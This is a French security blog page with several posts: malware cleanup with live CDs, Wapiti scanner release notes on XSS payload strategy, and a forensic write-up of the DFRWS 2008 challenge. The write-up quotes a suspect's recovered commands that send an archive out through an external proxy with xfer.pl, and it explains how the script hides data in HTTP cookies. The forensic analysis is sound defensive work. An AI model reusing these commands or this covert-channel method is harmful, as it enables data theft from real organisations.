Skip navigation.

devloop :: blog

Blog sur la sécurité informatique, la programmation, Linux et le Web

Posts tagged with "sécurité informatique"

Désinfection, GRML 2008.11 et test de Dr.Web Live CD

, , , ...

Intro dramatique
Suite à un incident électrique sur l'ordinateur d'un proche (l'insertion d'un périphérique USB fait "instinctivement" griller l'alimentation), et après une réorganisation des disques durs, j'avais remis en cause la nécessité de la présence d'un antivirus sur le système Windows XP car le "passif cyber-viral" de la personne était quasi-inexistant : aucun malware n'avait posé problème durant des années malgré l'utilisation systèmatique d'un compte administrateur.

Le système était tout de même bien (évidemment tout est relatif) protégé avec un AVG 8 Free Edition et un Spybot S&D tous deux chargés en résident avec des scans réguliers.
Le premier protégeait des virus, le second des adwares et demandait confirmation pour chaque modification potentiellement malicieuse de la base de registre. Au final ça rendait le système assez lourd mais mieux protégé.

Après les changements de disque j'ai (tout de même) installé Malwarebytes' Anti-Malware parce que "MAM" elle s'y connait en défense (c'est bien connu p: ). Le programme était utilisé seulement pour des scans de temps à autre, le version gratuite ne proposant pas un résident...

Finalement les lois de Murphy sont passées par là et il n'a fallu que quelques semaines pour ce qui semble être une variante de Real Antivirus fasse son apparition.

Désinfection
Un exécutable baptisé "SpywareRemove.exe" est trouvable dans WINDOWS\System32\ et différentes dll au nom aléatoire (3 syllabes de la forme consonne-voyelle) sont chargées au démarrage par AppInit_DLL, RunDLL32 et autres BHOs.
Après un "attrib -H -S" pour rendre visible ces fichiers, je lance HijackThis qui se montre malheureusement inefficace pour supprimer ces DLLs (en cours d'utilisation), les résultats ne sont pas meilleurs avec le classique Safe Mode.

J'ai finalement sorti le live CD de F-Secure mais j'ai recontré les même problèmes que les dernières fois, à savoir la mise à jour n'a pas aboutie et le scan n'a détecté aucun des fichiers dangereux.
Heureusement j'avais laissé un GRML 1.1 sur place avec lequel j'ai pu monter disque Windows en écriture et supprimer les fichiers.
Après redémarrage, je me rend compte qu'un nouveau fichier est apparu, sans doute regénéré lors de la fermeture du système... Je prend le nom, j'arrête le système de force, redémarre à nouveau sous GRML : mission réussie :smile:

GRML 2008.11
Petite info découverte grace à cet incident : une nouvelle version de GRML est disponible, la version 2008.11, alias "Schluchtenscheisser" (il semblerait que ça veut dire "Autrichien" en allemand...)
C'est avec un grand plaisir que je vais me garder cette version de côté en attendant la prochaine version d'openSUSE (par pur hazard les deux distributions semblent avoir des calendriers assez proche :smile: )

Dr.Web Live CD
Dans l'hypothèse de remettre un antivirus, je me suis ensuite rendu sur le site de l'éditeur Dr.Web, découvert par un numéro de MISC.
J'ai alors découvert l'existence d'un live CD officiel, à l'instar de celui de F-Secure, que je me suis empressé d'essayer :wink:

L'interface du système est pour le moins classique pour une distribution live : on tombe sur un GRUB avec différents choix de démarrage.
Le système charge assez rapidement et on se retrouve sur un bureau épuré et clair basé sur Openbox, iDesk et fbpanel.
Les Windowsiens ne seront pas dépaysés, même les icones sur le bureau ont été configurées pour se lancer sur doucle-click.

Quelques logiciels supplémentaires sont présents, accessibles sur le bureau, qui permettent de passer le temps durant un scan ou peuvent s'avérer utile : un Firefox, un Sylpheed, un Midnight Commander et enfin un XTerm :smile:
Grosse déception : seul le keymap russe est présent, le clavier est en qwerty, difficile de naviguer dans les options de Firefox avec des caractères cyrilliques...
Le système semble avoir été "fait maison", on y trouve aucune trace d'un gestionnaire de paquets que soit soit rpm/deb ou autre...

Les partitions Windows sont montées automatiquement au démarrage par NTFS-3G en lecture + écriture. On les retrouve dans le dossier /win avec un nom correspondant au volume utilisé sous Windows par exemple /win/C:/.

L'interface graphique de Dr.Web (on peut l'utiliser en ligne de commande) est elle aussi très épurée, développée à l'aide de GTK/Glade.
On peut sélectionner directements les partitions à scanner ou spécifier les dossiers que l'on souhaite scanner en particulier (bouton '+')
Point qui mérite d'être noté : la mise à jour de l'antivirus semble fonctionner tout comme le reste de l'auto-configuration réseau (validé par le Firefox :wink: )

Le scan en lui-même est assez long, principalement parce que le système tourne à partir du cdrom. Sur la page du live CD on trouve tout de même un manuel [PDF] qui explique notamment comment passer le système sur support USB, ce qui doit être plus efficace :smile:

Autre défaut sans grande importance : on a tendance à croire que le bouton rouge sert à stopper le scan en cours alors qu'il quitte complétement l'antivirus (sans avertir). En regardant mieux on apperçoit un bouton "Stop" à droite qui fait ce que l'on souhaite :smile:
Le scan a permis de trouver un fichier malicieux suppémentaire que MBAM n'avait pas trouvé.

Ce que j'ai apprécié aussi, c'est que l'antivirus affiche le chemin des fichiers tels qu'ils sont sous Windows et non sous Linux (avec le point de montage) ce qui facilitera la compréhension des néophytes...

Bref un live CD à préférer de loin à celui de F-Secure car plus agréable et plus efficace même si quelques erreurs sont encore à régler :smile:

Wapiti 2.0.0 Béta

, , , ...

Alors que Wapiti a dépassé doucement mais surement la barre des 16200 téléchargements sur SourceForge, les plus observateurs auront remarqué la sortie d'une version 2.0.0 béta avant-hier soir.

La question que vous vous posez certainement c'est comment l'on peut passer d'une version 1.1.7-alpha à une version 2.0.0-béta...
Tout simplement avec beaucoup de changements !! Et il s'en est passé des choses depuis la sortie de la précédente version.

Premièrement, le nombre de développeurs est passé de 1 à 3 grace à l'aide de 2 développeurs espagnols de ICT-Romulus.
Leur souhait était de pouvoir apporter des nouvelles fonctionnalités à Wapiti, notamment pour faciliter son intégration dans un projet de framework J2EE basé sur Maven (si j'ai tout compris lol).
Dans tous les cas ils ont proposé de participer au développement de Wapiti afin que tout les utilisateurs puissent profiter de leurs idées et de leurs modifications :smile: Cela est passé par la mise en place d'un espace SVN pour le projet pour faciliter le développement.

Leur objectif principal était de travailler sur le rendu final fournit par Wapiti. Ainsi il est possible d'obtenir un compte rendu des vulnérabilités dans 3 formats différents : XML, HTML et texte simple. Pour cela les options -f (format) et -o (output) ont été rajoutés.
Ils ont aussi réussi à séparer les payloads du code, ce qui rend plus simple leur ajout. Le code a été aussi revu et est plus modulaire.
Des règles de détection pour les failles SQL ont aussi été rajoutées.

De mon côté j'ai pû enfin résoudre le problème des boucles sans fin lors du scan d'urls en ajoutant l'option -n (ou --nice) qui permet de définir un "seuil de tolérance" au niveau des urls du même type.
Ainsi si les pages suivantes ont déjà été scannées :
http://server/p?a=x&b=1&c=x
http://server/p?a=x&b=2&c=x
http://server/p?a=x&b=2&c=y

Avec un seuil de 2, quand l'url "http://server/p?a=x&b=3&c=x" sera trouvée, elle sera exclue car déjà 2 urls du même pattern ont déjà été trouvées (http://server/p?a=x&b=*&c=x).
Même chose avec l'url http://server/p?a=x&b=2&c=z.
Par défaut aucun seuil n'est spécifié (ce qui revient à le fixer à 0). A vous de voir la valeur qui vous semble juste (10 me parait en bon compromis pour faire beaucoup de possibilités sans tourner en boucle).

J'ai aussi réussi à faire fonctionner l'authentification HTTP (option -a) en pompant sur le code de sqlmap. Même si les instructions sont sensiblement différentes par rapport à ce que Wapiti faisait, le principe est le même et je ne saurais pas dire pourquoi ça ne fonctionnait pas auparavant (alors que proxies et cookies fonctionnaient)... un des mystères de Python :left:
Malheureusement, étant donné la façon dont les modules urllib2 fonctionnent, il est préférable de retirer l'authentification sur le serveur et d'utiliser Wapiti simplement. En effet pour chaque url, si l'authentification est présente, Python va émettre deux requêtes : une première sans authentification qui va renvoyer une erreur 401. Et une seconde avec les identifiants pour passer la vérification :left:

Enfin la nouvelle méthode de scan XSS est complètement implémentée et la librairie Beautiful Soup a été mis à jour.

Pour la prochaine version, différents changements sont à faire comme pouvoir gérer les erreurs HTTP 500 (nouveau bug), améliorer la qualité des rapports de scan, limiter le nombre de plantages liés au décodage Unicode :frown: et enfin travailler sur la vitesse de scan de Wapiti.
En effet lors de certains tests, on s'apperçoit que Wapiti peut avoir un effet DoS sur le serveur web (voir que les 152 process lancés par Apache pour répondre aux requêtes sont tous occupés c'est pas top...) Il faut donc essayer d'envoyer le plus de requêtes possibles par connexion (ou trouver la juste proportion entre les deux)

Dans tous les cas, je ne peux que vous conseiller de passer à cette nouvelle version qui apporte des fonctionnalités importantes :smile:

Télécharger Wapiti-2.0.0-béta.

Wapiti 1.1.7 Alpha

, , , ...

Je viens à l'instant de placer sur SourceForge une nouvelle version de Wapiti.

C'est une version alpha (avec tout que ça implique) de la prochaine version à venir (la 1.1.7). L'objectif étant de montrer vers où se dirige Wapiti dans son développement, quelles sont les améliorations en cours et permettre à ceux qui ont des modifications à soumettre de se baser sur un code plus à jour que la version précédente.
Je compte aussi sur tous ceux qui utiliseront cette version pour soumettre les bugs qu'ils trouveront, en particulier s'il s'agit de stabilité.

La principale nouveauté c'est la nouvelle fonction de détection de failles XSS (actuellement nommée "new_attackXSS") qui se base sur mes expérimentations avec la librairie Beautiful Soup pour détecter où se situe le code injecté dans la page (d'un point de vue DOM/HTML...) et choisir en conséquence le payload le mieux adapté.
Ce n'est pas la seule amélioration sur ce point puisque vous verez dans le fichier XSS.py un certain nombre de payloads dont l'objectif est de pouvoir passer d'éventuels filtres anti-XSS.
Parmis les filtres visés il y a :
  • ceux qui filtrent sur le mot "script"
  • ceux qui retirent les quote (apostrophes) et double-quotes (guillements)
  • ceux qui filtrent les signes inférieur et supérieur des balises HTML/XML

L'algorithme pour détecter les XSS a sensiblement changé :

Pour une url que l'on aura trouvé, avec des paramêtres A, B et C, on va essayer d'injecter du code dans chacune des variables séparément mais toutes ces variables resteront présentes dans l'url telle qu'on l'a trouvée (le payload se "déplace" de variables en variables dans l'url)
Au lieu d'attaquer directement avec un payload, Wapiti commence par injecter un identifiant alpha-numérique de 10 caractères et vérifie que se dernier est bien injecté dans la page.
Si c'est le cas, il va étudier cette page et pour chaque occurence de l'identifiant il va déterminer quelle liste de payloads utiliser en fonction de sa position dans la page.
Dès qu'un payload semble fonctionner, il sort de la boucle et passe à la variable suivante (ou la page suivante s'il a fait toutes les variables)

La plupart des payloads sont "user-friendly", il suffit de recopier l'url proposée par Wapiti pour voir un beau "alert". Mais d'autres ne donnent pas un résultat immédiatement visible (par exemple ceux qui injectent un String.fromCharCode) pour des raisons de taille du payload.
Enfin parmis les payloads on trouve ceux qui cherchent juste à appeler un script externe.
Dans l'ensemble, l'objectif était que Wapiti puisse donner à l'utilisateur une url d'attaque se rapprochant au mieux de ce qu'il aurait pû trouver lui-même avec son navigateur.

Les navigateurs qui (mattez la transition :cool: ) ne réagissent malheureusement pas tous de la même façon devant une page malformée. Lors de l'injection du payload, celui-ci peut se retrouver à différents endroits de la page, par exemple dans le "title" de la page alors qu'on le retrouvera puis loin dans le "href" d'un lien ou enfin dans un code CSS.
Pour commencer, on ne peut pas injecter directement du javascript dans la balise title : il faut fermer cette balise puis ouvrir une balise script.
Comme le payload est propre à la variable on va le retrouver aux différents endroits correspondants de la page. Donc notre balise title que l'on aura fermée va se retrouver dans le href et dans le code CSS...
Puisque les navigateurs ont généralement une lecture linéaire, le résultat obtenu avec la première injection devrait être satisfaisant... Mais si on est obligé de passer par la seconde occurence du payload dans la page, il va falloir faire avec le code injecté dans la balise title qui peut rendre le code HTML chaotique et empécher l'interprétation du payload en seconde position...

Cette interprétation étant propre au navigateur (sa capacité à gérer les erreurs), on ne peut jamais être à 100% sûr que le payload généré sera fonctionnel sur l'un des principaux navigateurs.
Dans Wapiti, la gestion de ces erreurs se fait à l'aide de Beautiful Soup qui se rapproche probablement du comportement qu'aura un navigateur.
J'ai aussi fait des tests avec Tidy et les différences sont radicales. Alors que Beautiful Soup cherche plutôt à fontionner malgré les erreurs, Tidy les corrige ou les supprime donnant des résultats parfois surprenants.

C'est l'une des raisons que me pousse à me recentrer sur l'utilisation de Beautiful Soup pour les futures versions de Wapiti, la seconde raison d'importance est qu'il est difficile pour un utilisateur de Windows de disposer de Tidy avec Python (les pauvres, déjà qu'ils ont pas un OS facile p: )

Pour terminer sur cette partie, ce nouveau "moteur" XSS ne concerne pour le moment que la méthode GET, je dois encore la mettre en place pour le POST.
Il y a aussi un système d'historisation des requêtes (pour la détection des XSS permanents) qui est en cours de réécriture.

En dehors de ça, quelques bugs corrigés, le plus important concernait les formulaires où la méthode (GET ou POST) n'était pas spécifié. Désormais GET est utilisé par défaut (comme voulu par les standards HTML).

Wapiti 1.1.7-alpha

J'ai testé le Live-CD de F-Secure

, , , ...

Un petit billet pour vous dire que j'ai testé F-Secure Rescue CD 3.00.
Comme vous le devinez, c'est un live-cd permettant de chercher des virus sur les systèmes installés sur la machine. L'avantage de pouvoir scanner un système "off" (qui n'est pas démarré) est que l'on peut détecter des malwares qui se rendent invisibles quand le système est en marche (rootkits...)
L'inconvénient est évidemment que l'on s'en remet uniquement à l'analyse par signature (qui comme tout n'est pas parfaite).

J'ai d'abord essayé de le faire fonctionner sur un PC avec clavier USB. Après lancement du kernel Linux utilisé par le CD, on arrive sur un écran qui nous invite à appuyer sur une touche pour continuer. Sans quoi après 15 secondes, le système installé va démarrer.
Malheureusement le kernel utilisé ne doit pas supporter les claviers USB puisque aucune touche ne semblait répondre alors que juste avant j'ai pû aller dans le BIOS avec le même clavier pour rajouter le lecteur CD dans les périphériques de boot :frown:
J'ai laissé un message à F-Secure par leur site, en espérant que ce soit corrigé.

Sur un autre système (sans clavier USB), le lancement s'est fait sans problème. L'interface est simple et épurée, il n'y a pas besoin d'être un habitué de Linux ou de la ligne de commande pour l'utiliser.
Une tentative de téléchargement de la dernière base antivirale est faite. Chez moi ça n'a pas fonctionné (à la fin su scan ça affichait mai 2008) mais difficile de déterminer pour qu'elles raisons (DHCP ? DNS ?)

Ensuite vient le scan en lui-même. L'antivirus vérifie le MBR ainsi que les différentes partitions. Les drivers NTFS-3G sont utilisés de cette façon l'antivirus peut agir sur le système de fichier de Windows. Je ne jugerais pas de la qualité de l'AV en lui-même, ce n'est pas le but de l'article. Les quelques virus qui étaient intentionnelement présents sur le disque ont été détectés, rien d'autre n'a été trouvé comme quoi le système devait être propre.
L'antivirus renomme les fichiers infectés en y ajoutant l'extension ".virus". Avant de lancer le scan, un message nous prévient que le renommage des fichiers systèmes peut poser problème. Peut-être qu'il manque d'informations sur ce point pour les non-informaticiens qui pourraient se retrouver avec un système propre mais inutilisable.

Au final c'est très pratique, efficace et bon à avoir sous la main en cas de pépin même si quelques points mériteraient d'être améliorés.

Inforensique en vrac

, , , ...

C'est la classe : ma solution du challenge DFRWS 2008 a été citée sur le Computer Forensic Blog.

Mais ce n'est rien comparé au travail des développeurs de Volatility sur l'analyse de la mémoire des systèmes Linux.
Ils ont apporté des modifications à un outil de RedHat nommé Crash qui permet ainsi d'extraire de l'image de la mémoire la liste des processus, fichiers ouverts, connexions en cours, points de montages utilisés et bien plus encore.

Ils ont ensuite amélioré Volatility pour qu'il gère les images de mémoire physique Linux.
On retrouve les fonctionnalités qui ont été ajoutées à Crash ainsi que des possibilités supplémentaires pour extraire certains éléments de la mémoire : mémoire d'un processus particulier, paquets réseau...
Cela leur a par exemple permis de retrouver la communication FTP que je n'ai pas trouvé durant ma recherche :smile:

Volatility peut aussi être utilisé comme module dans PyFlag et au vue des captures d'écran ça a l'air impressionant ^_^


Changeons de sujet avec cet article de Dark Reading qui nous apprend que Bruce Schneier et un groupe de chercheurs auraient réussi à détecter la présence des systèmes de fichiers cachés par TrueCrypt.
Je m'attendais à lire des révélations croustillantes sur un oubli d'implémentation ou une faiblesse cryptographique, en réalité ils se sont seulement basés sur les traces d'accès laissés sur un système Windows qui montraient l'existence de fichiers sur une partition qui n'apparait pas dans la table des partitions.
Ils se sont notamment basés sur l'analyse des fichiers .lnk et des listes MRU (Most Recently Used) présentes dans le registre de Windows.

Je trouve que l'équation
présence des exécutables TrueCrypt + preuve de l'existence d'une partition qui n'y est plus = preuve de l'existence d'une partition cachée
est un peu rapide et est loin d'être fiable.
C'est ce que j'ai tendance à appeler le "principe de l'entourloupe", à savoir bien que ces outils soient utiles, leur simple présence génère la suspicion chez la personne qui analyse le système. C'est pour cela que je regarde toujours avec un peu de recul le principe du déni plausible.

C'est en particulier vrai avec des outils spécialisés comme Stegeek, 2c2, 4C ou encore Elettra paru dans le dernier Phrack.
Ca me parait moins vrai pour les partitions cachées, surtout que la technique utilisée dans l'article n'est pas liée à TrueCrypt et pourrait même déjouer une méthode faite maison. Bref la faille n'est pas dans TrueCrypt mais plus du côté de l'utilisateur qui devrait prendre différentes mesures pour dissimuler son activité (et s'il utilise TrueCrypt il doit bien être capable de le faire p: )

Ma solution du challenge DFRWS 2008

, , , ...

Introduction

Le Digital Forensic Research Workshop (DFRWS) est une organisation qui cherche à faire évoluer les recherches en inforensique, cela notamment par l'organisation d'un concours organisé chaque année depuis 2001.

Le challenge de cette année 2008 est ouvert depuis début mai mais comme j'en ai eu vent que récemment, j'ai commencé mon analyse seulement 3 jours avant la fermeture du challenge. Ce qui n'est pas bien grave puisque le challenge s'adresse principalement aux citoyens des Etats-Unis et je ne pensais pas le faire "officiellement".

Je comptais poster mon analyse en fin d'après-midi mais force et de constater que je n'ai pas eu le temps et que les derniers "détails" que je voulait régler étaient plus prenant que je ne le pensais p:

L'objectif des organisateurs pour cette année 2008 est de faire avancer les méthodes d'analyse de la mémoire RAM des systèmes GNU/Linux. C'est pour cette raison que les données offertes pour l'analyse sont une image de la mémoire d'un système mais aussi un enregistrement de communications réseau (fichier pcap) et une copie des fichiers présents dans le répertoire personnel du suspect.
A noter que pour le répertoire personnel il s'agit vraiment d'une "copie de fichiers" et non de l'image d'une partition :frown:

Je tiens à signaler que dans ma version de la solution vous ne trouverez pas de tools ou de techniques de-la-mort-qui-tue sur comment extraire la liste des processus depuis une image RAM ou obtenir la liste des fichiers qui étaient ouvert depuis cette même image.
Après quelques recherches, le sujet m'a paru trop complexe et j'ai privilégié une analyse plus "classique". Toutefois si le sujet vous intéresse vous pouvez vous plonger dans une thèse de 2006 réalisée par des étudiants de la "Naval Postgraduate School" de Monterey (Californie) et baptisée An analysis of Linux RAM forensics ou le document Digital forensics of the physical memory de Maruisz Burdach et daté de 2005.

Le scénario

Votre entreprise est la cible de vol d'information. Une enquête a été faite avec surveillance réseau en parallèle qui a permis de souligner le comportement suspect d'un employé.
L'équipe sécurité de la boite a récupéré différentes données que vous devez analyser pour déterminer qu'elles ont été les activités récentes de cet utilisateur.

Votre entreprise souhaiterait avoir des réponses aux interrogations suivantes :
  • Quelle activité de l'utilisateur peut être mis en évidence d'après les données ?
  • Est-ce qu'une activité suspecte peut-être décelée sur ce système ?
  • Il y a t'il des preuves de collaboration avec une personne extérieure ? Si oui de quelle façon ?
  • Est-ce que des données sensibles ont été volées ? Sinon peut-on en savoir plus sur la nature des données et la façon dont elles ont été transmises ?

Analyse des fichiers de l'utilisateur

L'analyse des fichiers est sans doute la partie la moins intéressante du challenge. Principalement parce qu'il y a peut d'informations intéressantes. On devine facilement au nombres de dossiers présents que l'utilisateur n'utilisait pas le système depuis longtemps et n'a pas fouillé dans les configurations du système.
De plus on suspecte très vite l'utilisateur d'avoir fait un peu de ménage derrière lui. Notamment le dossier .Trash est manquant tout comme l'historique de bash.

D'après les fichiers présents, on est en mesure de dire que l'utilisateur utilisait un window manager basé sur GTK, très certainement GNOME.
La présence du fichier .gnome2/gedit-metadata.xml met en évidence l'utilisation de l'éditeur de texte Gedit. Ce fichier permet de garder en mémoire la position du curseur dans les fichiers qui ont été ouverts jusqu'à présent. Ainsi à la prochaine ouverture du fichier, le curseur est replacé à la ligne mémorisée la dernière fois.
Le contenu de ce fichier prouve l'édition des fichiers .bash_history, .bashrc, .lesshst et enfin d'un fichier "ELF exploit.sh" qui était présent dans un répertoire "temp" qui n'existe plus.
L'autre historique intéressant est celui de Midnight Commander situé à l'emplacement .mc/history.
On y voit le chemin du home de l'utilisateur (/home/stevev) et aussi un point de montage sur /mnt/hgfs/Admin_share.
Le dernier répertoire accédé est /media/disk/DFRWS, à priori une preuve du passage de l'équipe de sécurité lors de la récupération des données.

Un autre fichier nous permet de déterminer que le système utilisé est basé sur RedHat (du moins il utilise le gestionnaire de paquet YUM)

Analyse du cache de Firefox

L'utilisateur n'ayant de toute évidence pas pensé à vider son historique de navigation web, son contenu devient une véritable mine d'or.
Tout d'abord, le fichier cookies.txt nous permet d'avoir facilement une liste des sites qu'il a visité. Une fois que l'on retire les habituels sites d'ADS/trackers/publicité, il nous reste la liste suivante :

corporate.disney.go.com
disney.go.com
docs.google.com
forum.freeadvice.com
live.com
login.live.com
mail.google.com
noblebank.pl
spreadsheets.google.com
www.bankrate.com
www.derkeiler.com
www.google.com
www.msn.com
travelocity.com


La grande majorité des sites visités sont pour le moins classique. Il y a seulement la présence de derkeiler qui laisse suposer que l'employé s'intéresse à la sécurité informatique (ce site rassemble des mailing-lists sur le sujet).

Firefox : les fichiers formhistory.dat et history.dat

Ces deux fichiers sont écrits dans un format pour le moins étrange. Après quelques recherches on apprend que cette structure est du Mork, un format de fichier pour le moins critiqué...

Pour décoder ces deux fichiers j'ai testé différents logiciels gratuits et open-source comme demork.py qui transforme les données en une version XML, mork.pl qui présente les résultats très simplement sous la forme d'une liste et fhdump.pl qui, si mes souvenirs sont bons, ne m'a rien renvoyé.
Mais je crois que mon préféré a été celui de Foundstone baptisé DumpAutoComplete et qui fonctionne sous Windows (exe) comme sous Linux (version Python) et donne un output XML plutôt sympathique.

Le fichier formhistory.dat stocke le texte que l'utilisateur a saisie dans des formulaires. On n'y retrouve toutefois pas de mot de passe, l'utilisateur n'ayant probablement pas activé cette fonctionnalité.
Une partie intéressante de ce fichier est celle qui conserve les recherches effectuées depuis le navigateur. Ces informations données par l'outil de Foundstone se représentent ainsi :
<field name="searchbar-history">
  <saved>CAN-2005-1263</saved>
  <saved>extradition costa rica</saved>
  <saved>maldives</saved>
  <saved>non-extradition countries</saved>
  <saved>overseas credit card payments</saved>
  <saved>panama extradition</saved>
  <saved>private banking</saved>
  <saved>privilege elevation 2.6.19</saved>
</field>

Il semblerait que notre suspect ait envie de s'éclipser quelques temps dans une contrée où il ne risque rien et, si possible, au soleil voire dans des paradis fiscaux nervous
Il a aussi effectué une recherche sur des failles de sécurité du kernel qui pourrait lui permettre de passer root sur sa machine (ou une autre).

Les autres informations saisies par formulaire nous apprenent que notre suspect se prénomme Steve Vogon, qu'il a deux adresses mails qui sont Steve.Vogon@gmail.com et steve_vogon@hotmail.com et qu'il compte prendre un avion à destination du Costa Rica avec une certaine Catherine Lagrande.
Steve est joignable au 202 555 9900 toujours d'après le fichier formhistory.dat.
Je tiens à préciser que je n'ai pas forcément obtenu ces informations dans le même ordre que l'article mais j'essaye de suivre un ordre logique pour expliquer p:

Le fichier history.dat rassemble, dans l'ordre, les urls que l'utilisateur a visité. Cela nous permet de comprendre mieux le cheminement suivi lors de ses recherches sur Internet et on pourrait ainsi créer une "timeline" de son activité.
Je vous passe les détails de cette navigation, le principal à remarquer est que l'utilisateur est allé voir ses messages sur GMail et Windows Live et qu'il semble faire une utilisation assez soutenue de Google Docs (l'ancien Writely) et de Google Spreadsheet. Des services de travail collaboratif en ligne.

Les mots de passe enregistrés par Firefox

Firefox utilise un système de chiffrement particulier. Les mots de passes sont stockés chiffrés dans le fichier signons2.txt, protégés à l'aide d'un mot de passe maitre présent dans key3.db (chiffré lui aussi à priori).
Les fichiers cert8.db et secmod.db entrent aussi en compte dans ce système.
Un outil en Ruby ainsi que FirePassword permettent d'extraire les informations de ces fichiers... mais il faut connaître le mot de passe maître, aussi je n'ai pas cherché plus loin.

Le cache de Firefox

En l'occurence présents dans .mozilla/firefox/n5q6tfua.default/Cache, ces fichiers n'ont pas d'extensions et ont un nom composé de 11 caractères dans l'alphabet hexadécimal (de 0 à 9 et de A à F).
Le plus simple est encore de profiter de la force de Linux qui détermine le type des fichiers à partir de leur entête. Avec un simple gestionnaire de fichier comme Dolphin, une visionneuse d'images comme Gwenview, un éditeur de texte et un navigateur web, on peut analyser la quasi totalité des fichiers.
Restent les archives gzippées qui requièrent une étape supplémentaire de décompression et les fichiers _CACHE_00X_ générés par le navigateur.
Après avoir cherché sans succès un outil open-source fonctionnant sous Linux pour lire ces fichiers CACHE et m'être cassé la tête pour essayer de faire fonctionner un script python pas au point, je m'en suis remis à PhotoRec qui s'est montré particulièrement efficace pour en extraire des fichiers (les fichiers _CACHE_XXX_ sont un peu comme des archives tar, le fichier _CACHE_MAP_ est la "carte" disant à quel offset se trouve chaque fichier)

Les images extraites permettaient de voir que le suspect est allé sur le site et le blog du Projet Metasploit et différents sites de voyage.

Dans le cache du navigateur on retrouve aussi énormément de code javascript ou CSS qui ont été chargés avec les pages. Concernant les connexions à Google vous avez peut-être déjà remarqué que ce dernier se sert en grande quantité du format d'échange JSON. Le résultat c'est que les données qui nous intéressent ne se trouvent pas dans les pages HTML mises en cache mais dans des fichiers textes à part...

Au final on en extrait la conversation suivante avec une certaine "Faa Tali" :
Re: Negotiate (Google Docs)
I apologize for the delay -- I was required to travel recently.
I agree with your final terms and will contact you via the cell provided to discuss the transfer. I have received your software package and instructions for transfer.

On Dec 9, 2007 3:15 AM, faa tali wrote:
We are close, but please notice the changes I made. Let's move this along. A swift resolution would be appreciated.

Date: Sat, 8 Dec 2007 21:53:26
Subject: Negotiate (Google Docs)
From: Steve.Vogon@gmail.com
To: faatali@hotmail.com

I've shared a document with you called "Negotiate"
http://spreadsheets.google.com/ccc?key=XXXXX&inv=faatali@hotmail.com...
It's not an attachment -- it's stored online at Google Docs. To open this document, just click the link above.
Please answer on the prices and items listed.

On apprend par ce mail que notre suspect négocie le prix de différentes informations et ce par le biais d'un tableur partagé sur Google Spreadsheets. Il est aussi question d'un logiciel et d'instructions pour un transfert.

Plus tard, Steve renverra un message à Faa Tali qui est le suivant :
On Sun Dec 16 2007_10:24 PM
To: faa tali
Subject: Delivery information

Hi, I will be delivering the items as we discussed. I plan to use your 219. location for the items.
Please check for them within the next few hours and then arrange for a reciprocal transfer.
There is one item I will keep in reserve subject to your follow-through. It's noted on the spreadsheet.

On apprend que l'employé par envoyer les éléments sur le "219". La nature des données est listée dans le tableau que Steve a mis en ligne. C'est une information importante qu'il va nous faloir récupérer ;-)

Dans un sujet pas si éloigné que ça, Steve Vogon a aussi effectué une recherche Google sur les termes "private banking" qui l'ont amené sur le site http://www.noblebank.pl/.
D'après les même données formatées en JSON, on sait qu'il a demandé des renseignements auprès de cette banque :
To: investors@noblebank.pl
Subject: Minimum account  opening balance

Hello,
Can you please tell me what the minimum balance requirement is for opening an overseas account at your bank?
Thank you,
Steve K. Vogon

Il pense sans doute faire transiter l'argent de madame "faatalis" par cette banque.

Analyse du flux réseau

Je serais assez bref sur cette partie du challenge. Le fichier pcap fournit ne contient que des communications HTTP et des requêtes/réponses DNS mis à part une poignée de pings (ICMP ECHO). Le traffic HTTP n'est ni plus ni moins celui que l'on retrouve dans le cache du navigateur.
J'ai vite parsé le fichier pcap dans Chaosreader que je ne pense pas abandonner de si tôt p:
C'est vraiment très pratique et j'ai passé énormément de temps à étudier les logs par l'interface qu'il a généré et je me suis souvent référé à son résultat pour vérifier tel ou tel élément :smile:

Un des points que j'ai toutefois relevé avec Chaosreader et pas avec le cache du navigateur est que l'utilisateur du système s'est rendu sur ekiga.net/ip/ et que le site a retourné que l'adresse ip du suspect depuis l'Internet était 24.3.109.26 (en local son ip est 192.168.151.130).

Ce que en revanche je ne m'explique pas, c'est le temps qu'aura passé l'utilisateur sur le site de Disney... peut-être souhaite-t-il se reconvertir en Mickey Mouse ?

L'analyse de la mémoire

Le "dump" de la mémoire physique fait 284Mo. Son analyse a été très intéressante même si j'aurais passé énormément de temps pour rien les yeux collés devant des outputs de hexdump p:
La recherche s'est faite à grands coups de grep avec les options -b (afficher les offsets correspondants), -a (traiter le fichier comme si c'était un fichier texte) et parfois -i (insensible à la casse).

Les termes recherchés ont été déterminés à partir des éléments obtenus précédemment.
Par exemple en sachant que le nom d'user du suspect est "stevev" et le nom d'hôte du système est "goldfinger", une recherche sur "stevev@goldfinger" a permis d'extraire des commandes tappées sous bash :
[stevev@goldfinger ~]$ export http_proxy="http://219.93.175.67:80"
[stevev@goldfinger ~]$ cp /mnt/hgfs/software/xfer.pl .
[stevev@goldfinger ~]$ ./xfer.pl archive.zip
Preparing archive.zip for transmission ......
Sending now. Patience please
Data transmission complete.
Exiting
[stevev@goldfinger ~]$ rm archive.zip
[stevev@goldfinger ~]$ unset http_proxy
[stevev@goldfinger ~]$ rm xfer.pl
[stevev@goldfinger ~]$ rm archive.zip
[stevev@goldfinger ~]$ netstat -tupan

Cette suite de commandes met en évidence l'utilisation d'un script perl qui a permis de transférer une archive zip vers une machine, et ce après avoir défini un proxy dont l'ip commence par... 219 (quel hazard !! ;-) )

Une recherche sur "#!/usr/bin/perl" nous permettra de retrouver les quelques scripts perls présent dans la mémoire du système. Après visualisation par hexdump et avoir affiné les offsets (hexdump -C -s 258019329 -n 3208 challenge.mem) on peut extraite le script avec dd (dd if=challenge.mem skip=258019329 bs=1 count=3208 of=xfer.pl)
Le fichier obtenu est visible ici : xfer.pl sur pastebin.ca. La coloration syntaxique est un peu cassé à la fin à la cause des backquotes mais on arrive à lire la grande majorité :smile:

Le script xfer.pl

Le script en question est pas mal pensé. Il utilise une technique de covert channel (voyez ça comme de la stéganographie réseau) qui fait passer un fichier en petits morceaux à travers la section "Cookie" des requêtes HTTP.
Techniquement le fichier est d'abord encodé en base64 puis coupé en morceaux de 1236 octets. Le script a une liste d'urls prédéfinies et il envoie une simple requête HTTP GET vers les sites en insérant le morceaux de fichier encodé.
On voit dans le code que le script a recours à la commande wget pour envoyer les données. Seulement le problème avec wget c'est qu'il est trop bien conçu. Ainsi s'il tombe sur une redirection il va renvoyer la requête jusqu'à ce qu'il parvienne à la bonne url.
Pour éviter les doublons, le script rajoute un indicateur dans les requêtes HTTP permettant au récepteur de déterminer si le morceau qu'il recoit est bien la suite et non une copie du précédent.

